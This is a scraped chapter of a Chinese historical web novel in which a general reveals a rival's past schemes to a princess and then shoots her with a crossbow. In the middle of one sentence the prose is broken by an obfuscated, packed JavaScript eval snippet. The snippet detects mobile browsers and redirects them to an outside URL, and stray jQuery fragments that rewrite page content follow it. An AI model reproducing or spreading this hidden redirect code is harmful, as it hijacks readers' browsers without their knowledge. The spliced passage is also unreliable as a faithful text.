默认冷灰
24号文字
方正启体

102. 皇后

作者:黑吠本书字数:K更新时间:
    白马河是西北十二州最大的河流,从军营到知州府,必须跨越它东西向的支流。如果绕行,连日小雨,加之道路泥泞,不仅脚程翻倍,战线也会急剧拉长。


    方才没说话的乐斯年道:“我昨日便将尔等派往营外,为何此时才禀报?”


    斥候胆战心惊:“属下、属下以为徐泰只想带走匪首,未曾想会从渡船下手,是属下疏忽,请小将军责罚!”


    船支已毁,再谈责罚无济于事,乐斯年摆手让斥候退下,正欲调拨其他船支,乐绮眠说:“辎重营中有皮筏、浮环,实在不行,去河边砍些竹子,做成竹筏,连缀成浮桥,将所有人送往对岸。”


    乐斯年眉心紧锁:“眼下也只能如此了。来几个人,修好损坏不深的船,先将解玄送走!”


    皮筏是牛皮去头后制成的渡水工具,只能供两三人使用。白马河河水湍急,这几日水位也高,仅靠皮筏与浮环,无法让数千士兵顺利过河。


    最重要的是,军队渡河过半时,徐泰一旦发动袭击,水面环境不利于士兵作战,乐家军的兵力、武器又不敌徐泰,重重劣势叠加,不啻于走入死局。


    情况危急,两人迅速行动起来。解玄坐在车内,掀开车帘,浅笑道:“公主不必担心,我让教众也来帮忙,只要搭起浮桥,乐家军定能抵达对岸。”


    他好似对战局极为乐观,没有丝毫惊慌。


    乐绮眠说:“乐家军抵达对岸,你就要被关入知州府,这是咒自己,还是笃定我过不了河?”


    解玄道:“我既答应与公主同谋,不会食言而肥。徐泰为将多年,应敌经验丰富,但有样东西,他永远比不过公主。”


    乐绮眠说:“你说。”


    解玄道:“徐泰惜命,但公主作战极少顾惜自身,只要能赢,你兴许什么都愿意做。”


    这放在平日或许是缺点,毕竟性命只有一条,但战场之上,生死瞬息万变,一个犹豫,就可能全军覆没。不要命的打法,有时反而能带来转机。


    抵达岸边后,乐绮眠让丝萝去河岸另一头搜寻竹林。将解玄带到抢修好的战船前,解玄说:“我与徐泰说几句话。”


    乐绮眠没说什么,乐斯年以剑柄抵着他,语气不善:“事到临头,还想逃跑?不必担心,等送你二人下了地狱,你们有的是时间聊。”


    解玄笑:“但我与他聊的东西,或能救你一命。”


    乐斯年不与他多费口舌,将人推上甲板,但刚准备起锚,一阵箭雨毫无预兆,从四面八方射来!


    “敌袭——!”


    前方士兵高声嘶吼,甲板上的卫兵立刻竖起盾牌。暴雨般的箭声过后,无数乐家军倒在船下!


    “暗箭伤人,藏头露尾,这也算统领一州兵事的经略使?”乐绮眠眺望远处密林,微微扬起唇,“依我看,你与盗贼匪徒之流无异,至少匪徒敢现身人前,徐经略,敢么?”


    话音方落,一人冷道:“死到临头,还敢大放厥词?”


    林间登时涌现大批骑兵,像从水面浮现的黑色巨网,几个吐息,就包围了所有乐家军!


    乐绮眠说:“剿灭匪兵是圣上下的命令,徐经略阻拦乐家军押送匪首入知州府,是想好了如何应付圣上?”


    徐泰立马骑兵前方:“徐某束手就擒,难道你与乐斯年就会放过徐某?你我本相安无事,是你定要将事做绝。给你一盏茶,交出教首,否则废了这身军衔,徐某今日也要踏平乐家!”


    话落,他挥舞手中军旗,弓箭手随之挽开弓弦,箭雨再次落下,但这回,直指乐绮眠。


    “叮——”


    千钧一发之际,一面木盾从身后出现。适才被带往战船的解玄,不知何时立于她身侧,用身体与盾牌筑起一道墙,将她挡在后方!


    “前往知州府的决定,是解某与乐小姐相商所得,非乐小姐一人能左右,”解玄移开盾牌,挥剑斩落表面箭矢,动作一气呵成,“烦请徐经略退兵。”


    徐泰看清来人,如五雷轰顶:“你.....你不是被胁迫才前往知州府?为何要这样做?”


    解玄乌鬓浸墨,襕袍端整,善意地说:“为匪为盗,终归不是正途,徐经略身在军中,应当明白这个道理。”


    他放下盾牌的同时,身前教众举剑回护乐家军。尽管人数不多,但双方合力下,前军压力骤增。


    “所以你便出卖我?”徐泰抽出长剑,又惊又怒,“你进入魏家至今,徐某事事帮衬,你就这般回报徐某?!”


    乐家军与教众杀退一批骑兵,拉近与弓箭手的距离。不知不觉间,双方已突破重围,直逼徐泰所在军阵!


    徐泰低低笑起来,这回却转视乐绮眠:“是徐某唐突,原来你与他早互通有无!可笑你不知他在镜鸾之变里做过什么,为何他一介匪盗,能得先帝赏识?否则徐某不信,你还敢与他握手言——”


    飞矢穿云而来,钉入马背。解玄的反应分外冷静,有条不紊射出第二支箭:“徐经略,慎言。”


    徐泰避开流矢,稳住战马:“好一个慎言!你亲手犯下的孽,以为遮掩便能抹去?公主,你听好,传言当年攻打奉京是先帝的决定对不对?事实并非如此,真正让先帝下决心起兵的,是他解玄!”


    徐泰有把柄在魏家手中,身家性命皆系于解玄,这种不平衡迟早会带来隐患。解玄抛弃徐泰在乐绮眠预料中,但徐泰的话,她却闻所未闻。


    解玄再次挽弓,这回,被一只皓白的手拦下。


    乐绮眠没有多看解玄,极度平静:“让他说下去。”


    解玄眸光微闪,欲言又止:“他的话,公主不必当......”


    可惜慢了一步,徐泰已道:“封地连年遭北苍侵扰,先帝早对宁安帝不满,只苦于没有借口起事。是解玄找上他,让教众扮为流民,挑衅闻氏骑兵,引对方入境。求和派佞幸果然逼他交出流民,甚至上书请宁安帝削夺他的王位。如此一来,他以清君侧的名义发兵,就是对抗世人眼中软弱无能的宁安帝!


    “因为这以退为进之计奏效,先帝才重用他,拨下钱粮助他发展日月教。否则一个逃亡之人,如何能汇聚数万教众?皆因他与先帝互惠互利,日月教才有今日!”


    乐斯年曾说,镜鸾之变爆发的导火索,是闻氏骑兵越境捉拿流民,海琅王出兵营救,却遭佞幸攻讦。


    因为与海琅王仅有数面之缘,不熟悉此人心性,故而乐绮眠未曾深想,只觉他昔年愿为流民出头,后来却弑兄杀侄,是权欲使人变得面目可憎,而非他从发兵之初起,就用心险恶。


    乐绮眠的神情起了层涟漪,极缓慢地问:“他做这些,为了什么?”


    海琅王抢走了解玄的一切,他怎么会冒着身份泄露的风险替他出欺君罔上之计?包括传闻中逼死江别鹤,后来计杀曹病已等人的目的,他也并未给出清晰解释。


    徐泰当年跟随乐承邺参与兵变,是麾下一名小将,是以对往事了如指掌。那么换言之,他可能知道江别鹤因何而死,这件事又是否与解玄有关!


    徐泰说:“公主手里拿的是玉钩,对不对?”


    乐绮眠攥紧剑柄,心绪翻涌:“你想说,与我母后有关?”


    “不错,”徐泰冷笑一声,似有嫌恶,“你知道他为何能拿到玉钩?因他知晓先帝欲收回江家兵权,故而劝说先帝,让皇后写下劝降信,逼降明光将军。可几月过去,皇后宁死不降,于是他自作主张,做了一件事。”


    乐绮眠曾怀疑江别鹤死于解玄之手,可证据缺失,提起此事,他的反应也过于平静。但听到宁死不降,她有种极为强烈的不祥感——


    “那时,应州之战爆发,皇后被软禁于绮鸾殿,对战况一无所知。直到那日,解玄将江吾朗战死、江家灭族的消息带给她,第二日,宫人便在殿内发现她的尸首,以及一封降书。她在降书里,请解玄护你在妙应寺不受欺辱,又请他将玉钩转交你,并将她安葬在祖地。


    “随后,给出了江家所有兵权。”


    这意味着,江别鹤不仅殉了江家,更是为乐绮眠而死。因为若不交出兵权,流着江家血的乐绮眠,亦可能遭受灭顶之灾。只有皇后死了,无权无势的公主,才能逃脱一死。


    所有过往轰然被补全,乐绮眠却猛地想起,一些无关紧要的细节。


    她记得,母后教她习琴之初,她耐不住性子,又嫌护指影响对琴弦的感知,不戴护指便弹拨琴弦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057095|167077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,以至指肚常常被磨红。这时,母后就会怪她马虎大意,说女子该有双洁净无暇的手,若被琴弦磨破,如何是好?又替她缠上护指,不许她随意摘下。她总不以为然,心想琴弦并不锋利,甚至磨不破她的指肚,她是过度担心。


    那么写下降书那晚,母后又废了多大力气,才用一根圆钝的琴弦,割破了喉颈?


    河岸开阔辽远,春日里起了风,乐绮眠却遍体发冷,喉头像被某种尖锐的东西哽住,咽不下,吐不出,只能被划得鲜血淋漓、疼痛难忍。


    为何?


    为何要夺走她?


    为何要让她知道,她活在一座由尸首堆就的炼狱?


    徐泰大笑起来:“想必公主也该看清,解玄是何等心狠手辣之辈,他今日能害我与皇后,明日便能害你,为他卖命,不值!”


    解玄听到降书那刻,笑容彻底消失:“公主,他的话是一面之词,不必在意,待杀了他,我向公主解释。”


    他弯弓搭箭,射向徐泰。然而箭匣扫荡一空,对方毫发无伤,他反而被士兵团围。因为二人对话时,乐家军与教众体力渐失,对方兵力优势开始显现,再次攻向河岸!


    舷梯前的乐斯年道:“乐绮眠,别管他说了什么,既然做了去知州府的决定,不要犹豫!先上船!”


    乐绮眠恍若未闻,只问:“除了这些,他还做了什么?”


    徐泰说:“你竟还不死心?那徐某索性倾囊相告,叫你看清他的真容!你不是在查那本账簿?其实曹病已与武安侯原对先帝的血统一无所知,是他擅自逼杀皇后令其不悦,他又知道太多旧事,怕先帝报复,才将账簿交给武安侯,又向曹病已透露先帝的血统,瓦解二人信任!


    “你可知征南军南下时,曹病已为何急于投向闻仲达?因为他唆使徐某,将他多番刺杀你的消息告知道圣,让道圣察觉他在调查先帝,起了杀心。


    “曹病已自知下场将如武安侯,想求闻家庇护,这才以你为质,向闻仲达献媚,又让薛贤将你诱杀在北营!”


    从前乐绮眠曾困惑,道圣为何一度冷落曹病已,重用魏衍,曹病已贵为枢密使,为何冒险投向闻仲达。所有矛盾之处,今日都得到解答。


    因为镜鸾之变开始,解玄就在操纵她的命运。他织下大网,让她深陷其中,所有人都是布局中的棋子,道圣也不例外。


    徐泰道:“这回,你总该相信,他不会真心与谁合谋,你助他招安,只会沦为他的垫脚石?”


    敌军不断逼近,乐绮眠如待宰的羊羔般暴露在大军眼中,问:“交出他,你便会退兵?”


    解玄猛地回头,因为被骑兵包围,他与乐绮眠有段距离,但也能清晰听到,她一字字说:“你带走他,然后退兵。你与他的事,我可以当不知,但有一条,望你做到。”


    徐泰目的达成,却之不恭:“只要力所能及,可以。”


    乐绮眠说:“杀了他。”


    说出这个要求,徐泰尚未应答,乐斯年就道:“不要信他,我们知道他的底细,就算交出解玄,他也不会放过你我!”


    徐泰摆手,示意士兵按倒解玄,接过卫士递来的弩|机,亲自上前:“就在这里杀了他,如何?”


    乐绮眠漠然地旁观一切,只道:“直接动手,不必问我。”


    “谨遵公主之命,”徐泰笑笑,张开弓弦,又扣住悬刀,“解玄毁了公主半生,又背叛徐某,这等忘恩负义之辈,就是死一万次,也不足惜!”


    说完,他松开悬刀,属于老将的臂力让弓箭如流星般急射而出,这一箭命中,解玄就是不死,也只剩半条命。解玄却凝望乐绮眠,漆眸里藏着无数情绪,好似这样就能让她动摇,从而放弃。


    然而,乐斯年蓦地睁大双目,失声道:“小心——”


    “笃!”


    乐绮眠像被人用力推了一把,脚下不稳,但当她低头,发现不是有人,而是她的身体,在轻轻晃动。


    一支弩箭,没入了她的心口。


    “三界火宅,众生皆苦,微臣徐泰,愿为公主了结仇怨。”徐泰在抬高弩|机的动作中勾起嘴角,由衷地说。


    “恭送公主出离苦海,早登极乐。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)